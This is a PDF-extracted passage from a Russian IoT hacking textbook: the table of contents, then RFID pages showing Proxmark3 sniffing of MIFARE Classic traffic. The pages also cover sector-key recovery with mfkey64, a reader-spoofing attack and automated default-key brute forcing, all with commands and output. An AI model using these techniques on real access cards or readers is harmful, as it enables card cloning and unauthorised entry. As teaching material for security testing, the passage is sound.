- •От издательства
- •О техническом обозревателе
- •О соавторах
- •Об авторах
- •Вступительное слово
- •Благодарности
- •Предисловие
- •Почему важна защита интернета вещей?
- •Чем защита интернета вещей отличается от традиционной ИТ-защиты?
- •Законы хакинга интернета вещей
- •Заключение
- •Моделирование угроз для интернета вещей
- •Схема моделирования угроз
- •Определение архитектуры
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Использование деревьев атак для обнаружения угроз
- •Распространенные угрозы интернета вещей
- •Атаки с подавлением сигнала
- •Атаки с воспроизведением
- •Атаки со взломом настроек
- •Клонирование узла
- •Заключение
- •Пассивная разведка
- •Физический или аппаратный уровень
- •Периферийные интерфейсы
- •Среда загрузки
- •Блокировки
- •Предотвращение и обнаружение несанкционированного доступа
- •Прошивка
- •Интерфейсы отладки
- •Физическая устойчивость
- •Разведка
- •Атаки на сетевой протокол и службы
- •Тестирование беспроводного протокола
- •Оценка веб-приложений
- •Картирование приложений
- •Элементы управления на стороне клиента
- •Аутентификация
- •Управление сеансом
- •Проверка ввода
- •Логические ошибки
- •Сервер приложений
- •Исследование конфигурации хоста
- •Учетные записи пользователей
- •Привилегии учетной записи
- •Уровни патчей
- •Удаленное обслуживание
- •Управление доступом к файловой системе
- •Шифрование данных
- •Неверная конфигурация сервера
- •Мобильное приложение и облачное тестирование
- •Заключение
- •4. Оценка сети
- •Переход в сеть IoT
- •VLAN и сетевые коммутаторы
- •Спуфинг коммутатора
- •Двойное тегирование
- •Имитация устройств VoIP
- •Идентификация устройств IoT в сети
- •Обнаружение паролей службами снятия отпечатков
- •Атаки MQTT
- •Настройка тестовой среды
- •Написание модуля MQTT Authentication-Cracking в Ncrack
- •Тестирование модуля Ncrack на соответствие MQTT
- •Заключение
- •5. Анализ сетевых протоколов
- •Проверка сетевых протоколов
- •Сбор информации
- •Анализ
- •Создание прототипов и разработка инструментов
- •Работа с Lua
- •Общие сведения о протоколе DICOM
- •Генерация трафика DICOM
- •Включение Lua в Wireshark
- •Определение диссектора
- •Определение основной функции диссектора
- •Завершение диссектора
- •Создание диссектора C-ECHO
- •Начальная загрузка данных функции диссектора
- •Анализ полей переменной длины
- •Тестирование диссектора
- •Разработка сканера служб DICOM для механизма сценариев Nmap
- •Написание библиотеки сценариев Nmap для DICOM
- •Коды и константы DICOM
- •Написание функций создания и уничтожения сокетов
- •Создание заголовков пакетов DICOM
- •Написание запросов контекстов сообщений A-ASSOCIATE
- •Чтение аргументов скрипта в движке сценариев Nmap
- •Определение структуры запроса A-ASSOCIATE
- •Анализ ответов A-ASSOCIATE
- •Создание окончательного сценария
- •Заключение
- •6. Использование сети с нулевой конфигурацией
- •Использование UPnP
- •Стек UPnP
- •Распространенные уязвимости UPnP
- •Злоупотребление UPnP через интерфейсы WAN
- •Другие атаки UPnP
- •Использование mDNS и DNS-SD
- •Как работает mDNS
- •Как работает DNS-SD
- •Проведение разведки с помощью mDNS и DNS-SD
- •Злоупотребление на этапе проверки mDNS
- •Атаки «человек посередине» на mDNS и DNS-SD
- •Использование WS-Discovery
- •Как работает WS-Discovery
- •Подделка камер в вашей сети
- •Создание атак WS-Discovery
- •Заключение
- •UART
- •Аппаратные средства для связи с UART
- •Как найти порты UART
- •Определение скорости передачи UART
- •JTAG и SWD
- •JTAG
- •Как работает SWD
- •Аппаратные средства для взаимодействия с JTAG и SWD
- •Идентификация контактов JTAG
- •Взлом устройства с помощью UART и SWD
- •Целевое устройство STM32F103C8T6 (Black Pill)
- •Настройка среды отладки
- •Кодирование целевой программы на Arduino
- •Отладка целевого устройства
- •Заключение
- •Как работает SPI
- •Как работает I2C
- •Настройка архитектуры шины I2C типа «контроллер–периферия»
- •Заключение
- •9. Взлом прошивки
- •Прошивка и операционные системы
- •Получение доступа к микропрограмме
- •Взлом маршрутизатора Wi-Fi
- •Извлечение файловой системы
- •Статический анализ содержимого файловой системы
- •Эмуляция прошивки
- •Динамический анализ
- •Внедрение бэкдора в прошивку
- •Нацеливание на механизмы обновления микропрограмм
- •Компиляция и установка
- •Код клиента
- •Запуск службы обновления
- •Уязвимости служб обновления микропрограмм
- •Заключение
- •10. Радио ближнего действия: взлом rFID
- •Радиочастотные диапазоны
- •Пассивные и активные технологии RFID
- •Структура меток RFID
- •Низкочастотные метки RFID
- •Высокочастотные RFID-метки
- •Настройка Proxmark3
- •Обновление Proxmark3
- •Клонирование низкочастотных меток
- •Клонирование высокочастотных меток
- •Имитация RFID-метки
- •Изменение содержимого RFID-меток
- •Команды RAW для небрендированных или некоммерческих RFID-тегов
- •Подслушивание обмена данными между меткой и считывателем
- •Извлечение ключа сектора из перехваченного трафика
- •Атака путем подделки RFID
- •Автоматизация RFID-атак с помощью механизма скриптов Proxmark3
- •Пользовательские сценарии использования RFID-фаззинга
- •Заключение
- •11. Bluetooth Low Energy (BLE)
- •Как работает BLE
- •Необходимое оборудование BLE
- •BlueZ
- •Настройка интерфейсов BLE
- •Обнаружение устройств и перечисление характеристик
- •GATTTool
- •Bettercap
- •Взлом BLE
- •Настройка BLE CTF Infinity
- •Приступаем к работе
- •Заключение
- •12. Радиоканалы средней дальности: взлом Wi-Fi
- •Как работает Wi-Fi
- •Атаки Wi-Fi на беспроводные клиенты
- •Деаутентификация и атаки «отказ в обслуживании»
- •Атаки на Wi-Fi путем подключения
- •Wi-Fi Direct
- •Атаки на точки доступа Wi-Fi
- •Взлом WPA/WPA2
- •Взлом WPA/WPA2 Enterprise для сбора учетных данных
- •Методология тестирования
- •Заключение
- •13. Радио дальнего действия: LPWAN
- •Захват трафика LoRa
- •Настройка платы разработки Heltec LoRa 32
- •Настройка LoStik
- •Превращаем USB-устройство CatWAN в сниффер LoRa
- •Декодирование протокола LoRaWAN
- •Формат пакета LoRaWAN
- •Присоединение к сетям LoRaWAN
- •Атаки на LoRaWAN
- •Атаки с заменой битов
- •Генерация ключей и управление ими
- •Атаки воспроизведения
- •Подслушивание
- •Подмена ACK
- •Атаки, специфичные для приложений
- •Заключение
- •14. Взлом мобильных приложений
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Защита данных и зашифрованная файловая система
- •Подписи приложений
- •Аутентификация пользователя
- •Управление изолированными аппаратными компонентами и ключами
- •Проверенная и безопасная загрузка
- •Анализ приложений iOS
- •Подготовка среды тестирования
- •Статический анализ
- •Динамический анализ
- •Атаки путем инъекции
- •Хранилище связки ключей
- •Реверс-инжиниринг двоичного кода
- •Перехват и изучение сетевого трафика
- •Анализ приложений Android
- •Подготовка тестовой среды
- •Извлечение файла APK
- •Статический анализ
- •Обратная конвертация двоичных исполняемых файлов
- •Динамический анализ
- •Перехват и анализ сетевого трафика
- •Утечки по побочным каналам
- •Заключение
- •15. Взлом умного дома
- •Физический доступ в здание
- •Клонирование RFID-метки умного дверного замка
- •Глушение беспроводной сигнализации
- •Воспроизведение потока с IP-камеры
- •Общие сведения о протоколах потоковой передачи
- •Анализ сетевого трафика IP-камеры
- •Извлечение видеопотока
- •Атака на умную беговую дорожку
- •Перехват управления интеллектуальной беговой дорожкой на базе Android
- •Заключение
- •Инструменты для взлома интернета вещей
- •Предметный указатель
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Подслушивание обмена данными между меткой и считывателем
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Proxmark3 может прослушивать транзакции между считывателем иметкой.Этаоперациячрезвычайнополезна,есливыхотитеизучить данные, которыми обмениваются метка и IoT-устройство.
Чтобы начать прослушивание канала связи, поместите антенну Proxmark3 между меткой и считывателем, выберите либо высоко- частотную, либо низкочастотную операцию, укажите реализацию метки и используйте параметр snoop. (Некоторые метки, завися- щие от реализации поставщика,вместо этого используют параметр sniff.)
В следующем примере мы пытаемся перехватить обмен метки, со- вместимой с ISO14443A, поэтому выбираем параметр 14a:
$ proxmark3> hf 14a snoop #db# cancelled by button #db# COMMAND FINISHED
#db# maxDataLen=4, Uart.state=0, Uart.len=0 #db# traceLen=11848, Uart.output[0]=00000093
Мы прерываем захват, нажимая кнопку Proxmark3, когда связь между картой и считывателем завершается. Чтобы получить захва- ченные пакеты, укажите либо высокую частоту, либо низкую частоту операции, параметр list и реализацию метки:
proxmark3> hf |
list 14a |
|
|
|
Recorded Activity (TraceLen |
= 11848 bytes) |
|||
Start = Start |
of Start Bit, |
End = End of last modulation. Src = Source of Transfer |
||
iso14443a - All times are in carrier periods (1/13.56Mhz) |
||||
iClass - Timings are not as |
accurate |
|||
… |
|
|
|
|
0 |992 | Rdr | 52' | | WUPA |
|
|
||
2228 | |
4596 |
| Tag | 04 00 |
| | |
|
7040 | |
9504 |
| Rdr | 93 20 |
| | ANTICOLL |
|
10676 |
| 16564 |
| Tag | 80 55 |
4b |
6c f2 | | |
19200 |
| 29728 |
| Rdr | 93 70 |
80 |
55 4b 6c f2 30 df | ok | SELECT_UID |
30900 |
| 34420 |
| Tag | 08 b6 |
dd | | |
|
36224 |
| 40928 |
| Rdr | 60 00 |
f5 |
7b | ok | AUTH-A(0) |
42548 |
| 47220 |
| Tag | 63 17 |
ec f0 | | |
|
56832 |
| 66208 |
| Rdr | 5f! 3e! fb d2 94! 0e! 94 6b | !crc| ? |
||
67380 |
| 72116 |
| Tag | 0e 2b |
b8 |
3f! | | |
… |
|
|
|
|
|
|
|
|
|
На выходе также будут декодированы идентифицированные опе- рации. Восклицательные знаки рядом с шестнадцатеричными бай- тами указывают на то, что во время захвата произошла битовая ошибка.
Радио ближнего действия: взлом rFID 303
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|||
|
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|||
Извлечение ключа сектора из перехваченного трафика w Click |
to |
|
|
|
|
m |
||||||
|
|
|
|
|
||||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
|
p |
|
|
|
|
g |
|
|
|
Подслушивание RFID-трафика может раскрывать конфиденциаль- |
|
|
df |
|
|
n |
e |
|
||||
|
|
|
|
|
|
-x cha |
|
|
|
|
||
ную информацию,особенно когда метки используютслабые элемен- |
|
|
|
|
|
|
|
|
|
|
||
ты аутентификации или незашифрованные каналы связи.Поскольку |
|
|
|
|
|
|
|
|
|
|
||
метки MIFARE Classic используют протокол слабой аутентифика- |
|
|
|
|
|
|
|
|
|
|
||
ции,выможетеизвлечьзакрытыйключсектора,зафиксироваводно- |
|
|
|
|
|
|
|
|
|
|
||
кратную успешную аутентификацию между меткой и считывателем |
|
|
|
|
|
|
|
|
|
|
||
RFID. |
|
|
|
|
|
|
|
|
|
|
|
|
Согласно спецификации, метки MIFARE Classic выполняют треххо- |
|
|
|
|
|
|
|
|
|
|
||
довой контроль аутентификации с помощью |
считывателя RFID для |
|
|
|
|
|
|
|
|
|
|
каждого запрошенного сектора. Сначала RFID-метка выбирает пара- метр с именем nt и отправляет его в считыватель RFID. Считыватель выполняет криптографическую операцию, используя закрытый ключ и полученный параметр. Он генерирует ответ ar. Затем выбирает па- раметр с именем nr и отправляет его в RFID-метку вместе с ar. Далее метка выполняет аналогичную криптографическую операцию с па- раметрами и закрытым ключом, генерируя ответ, который она от- правляет обратно считывателю RFID. Поскольку криптографические операции, выполняемые считывателем и меткой, являются слабы- ми,знание этих параметров позволяет вычислить закрытый ключ!
Давайтерассмотримперехватсообщений,зафиксированныхвпре- дыдущем разделе для извлечения следующих параметров обмена:
proxmark3> hf list 14a |
|
|
|
|
|
|
|
|
||||
Start = Start of Start Bit, End = |
End |
of last |
modulation. Src = Source of Transfer |
|||||||||
iso14443a - All times are |
in carrier periods (1/13.56Mhz) |
|
||||||||||
iClass - Timings are not as accurate |
|
|
|
|
|
|||||||
Start |End | Src |
| Data (! |
denotes |
parity error, ' denotes short bytes)| CRC | Annotation | |
|||||||||
------------ |
|
|------------ |
|
|
| |
----- |
|----------------------------------------------------------- |
|
|
|
|
|
--- |
|
|
|
|
|
|
|
|
|
|
|
|
0 |992 | Rdr | |
52' | | |
WUPA |
|
|
|
|
|
|
||||
2228 | |
|
4596 | Tag | 04 |
00 |
| | |
|
|
|
|
|
|||
7040 | |
|
9504 | Rdr | 93 |
20 |
| | ANTICOLL |
|
|
|
|||||
10676 |
| |
16564 |
| |
Tag | |
80 |
55 |
4b |
6c |
f2 |
| | |
|
|
19200 |
| |
29728 |
| |
Rdr | |
93 |
70 |
80 |
55 |
4b |
6c f2 |
30 |
df | ok | SELECT_UID |
30900 |
| |
34420 |
| |
Tag | |
08 |
b6 |
dd |
| | |
|
|
|
|
36224 |
| |
40928 |
| |
Rdr | |
60 |
00 |
f5 |
7b |
| |
ok | AUTH-A(0) |
||
42548 |
| |
47220 |
| |
Tag | |
63 |
17 |
ec |
f0 |
| | |
|
|
|
56832 |
| |
66208 |
| |
Rdr | |
5f! |
3e! |
fb |
d2 |
94! |
0e! 94 |
6b |
| !crc| ? |
67380 |
| |
72116 |
| |
Tag | |
0e |
2b |
b8 |
3f! |
| | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Мы можем идентифицировать UID карты как значение, которое стоит перед командой SELECT_UID. Параметры nt , nr, ar и at появляются только после команды AUTH-A(0), всегда в этом порядке.
Исходный код Proxmark3 содержит инструмент с именем mfkey64, который может выполнить для нас криптографические вычисления. Передайте ему UID карты, за которым следуют параметры nt, nr, ar
и at:
304 Глава 10
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
$ ./tools/mfkey/mfkey64 80554b6c 6317ecf0 5f3efbd2 940e946b 0e2bb83f
MIFARE Classic key recovery - based on 64 bits of keystream Recover key from only one complete authentication! Recovering key for:
uid: 80554b6c nt: 6317ecf0 {nr}: 5f3efbd2 {ar}: 940e946b {at}: 0e2bb83f
LFSR successors of the tag challenge: nt' : bb2a17bc
nt'': 70010929
Time spent in lfsr_recovery64(): 0.09 seconds Keystream used to generate {ar} and {at}:
ks2: 2f2483d7 ks3: 7e2ab116
Found Key: [FFFFFFFFFFFF]
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Если параметры верны, инструмент вычисляет закрытый ключ для сектора.
Атака путем подделки RFID
Вэтомразделемыпокажемвам,какподделатьлегальнуюRFID-метку и выполнить атаку прямым перебором против контроля аутентифи- кации RFID-считывателя.Эта атака полезна в случаях,когда у вас есть длительный доступ к легальному считывателю и ограниченный до- ступ к метке жертвы.
Как вы могли заметить, легальная метка отправит ответ at легаль- ному считывателю только после трехэтапной аутентификации. Зло- умышленники, имеющие физический доступ к считывателю, могут подделатьметкуRFID,сгенерироватьсвойсобственныйответnt ипо- лучить nr и ar от легального считывателя. Хотя сеанс аутентифика- ции не может успешно завершиться, поскольку злоумышленники не знают ключ сектора, они могут выполнить атаку методом перебора остальных параметров и вычислить ключ.
Чтобы выполнить атаку легитимного считывателя, используйте команду имитации тега hf mf sim:
proxmark3> hf mf sim *1 u 19349245 x i
mf sim cardsize: 1K, uid: 19 34 92 45 , numreads:0, flags:19 (0x13) Press pm3-button to abort simulation
#db# Auth attempt {nr}{ar}: c67f5ca8 68529499
Collected two pairs of AR/NR which can be used to extract keys from reader:
…
Символ * выбирает все блоки тегов. Следующее за ним число ука- зывает размер памяти (в данном примере 1 – для MIFARE Classic 1 KB). Параметр u перечисляет UID поддельной метки RFID, а пара-
Радио ближнего действия: взлом rFID 305
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
метр x включает атаку. Параметр i позволяет пользователю получать |
|
|
to |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
|||
|
w Click |
|
|
|
|
|
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
интерактивный вывод. |
|
w |
|
df-x chan |
|
o |
|
||||
|
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
Вывод команды будет содержать значения nr и ar, которые мы мо- жем использовать для выполнения вычисления ключа таким же об- разом, как и в предыдущем разделе. Обратите внимание, что даже после вычисления ключа сектора нам нужно будет получить доступ к фальсифицируемой метке для чтения ее памяти.
Автоматизация RFID-атак с помощью механизма скриптов Proxmark3
Программное обеспечение Proxmark3 поставляется с предварительно загруженным списком скриптов автоматизации, которые можно ис- пользовать для выполнения простых задач. Чтобы получить полный список, используйте команду script list:
$ proxmark3> script list
brutesim.lua |
A |
script file |
tnp3dump.lua |
A |
script file |
… |
|
|
dumptoemul.lua |
A |
script file |
mfkeys.lua |
A |
script file |
test_t55x7_fsk.lua |
A script file |
|
|
|
|
Затем используйте команду запуска скрипта, за которой следует его имя, чтобы выполнить один из скриптов. Например, следующая команда выполняет скрипт mfkeys, в котором используются методы, представленные выше в этой главе (см. раздел «Взлом ключей мето- домперебора»)дляавтоматизациипроцессапрямогоподборапароля
MIFARE Classic:
$ proxmark3> script run mfkeys
--- Executing: mfkeys.lua, args '' This script implements check keys.
It utilises a large list of default keys (currently 92 keys).
If you want to add more, just put them inside mf_default_keys.lua. Found a NXP MIFARE CLASSIC 1k | Plus 2k tag
Testing block 3, keytype 0, with 85 keys
…
Do you wish to save the keys to dumpfile? [y/n] ?
Еще один очень полезный скрипт – dumptoemul, который преобра- зует файл .bin, созданный с помощью команды dump, в файл .eml, ко- торыйвыможетенапрямуюзагрузитьвпамятьэмулятораProxmark3:
proxmark3> script run dumptoemul -i dumpdata.bin -o CEA0B6B4.eml
--- Executing: dumptoemul.lua, args '-i dumpdata.bin -o CEA0B6B4.eml'
306 Глава 10